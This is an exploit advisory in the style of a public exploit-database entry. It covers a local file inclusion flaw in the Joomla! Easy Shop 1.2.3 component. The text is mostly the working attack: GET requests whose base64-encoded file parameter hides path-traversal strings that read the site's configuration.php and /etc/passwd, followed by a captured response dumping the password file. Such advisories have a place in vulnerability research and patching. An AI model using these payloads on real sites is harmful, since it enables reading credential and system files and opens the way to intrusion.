Joomla! Easy Shop 1.2.3 Local File Inclusion

`# Exploit Title: Joomla! Component Easy Shop 1.2.3 - Local File Inclusion  
# Dork: N/A  
# Date: 2019-01-22  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: https://joomtech.net/  
# Software D.: https://www.joomtech.net/products/easyshop?task=file.download&key=7bafaa65995fb3b1383328105df1e10f  
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/shopping-cart/easy-shop/  
# Version: 1.2.3  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]/index.php?option=com_easyshop&task=ajax.loadImage&file=[BASE64_FILE_NAME]  
#   
  
GET /[PATH]/index.php?option=com_easyshop&task=ajax.loadImage&file=Li4vLi4vY29uZmlndXJhdGlvbi5waHA= HTTP/1.1  
GET /[PATH]/index.php?option=com_easyshop&task=ajax.loadImage&file=Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate, br  
Cookie: __cfduid=d11dd4447c0b8ef3cd8c4f6745ebdf50e1548111108; 6eecafb7a7a944789bd299deac1ff945=osde04ob1pgq9o3p8arfqtbobk  
DNT: 1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
HTTP/1.1 200 OK  
Date: Mon, 21 Jan 2019 23:58:02 GMT  
Content-Type: text/plain;charset=UTF-8  
Transfer-Encoding: chunked  
Connection: keep-alive  
Vary: Accept-Encoding  
Expect-CT: max-age=604800, report-uri="http://localhost/[PATH]/"  
Server: cloudflare  
CF-RAY: 49cd621bce8f537e-LAX  
Content-Encoding: br  
  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
....  
`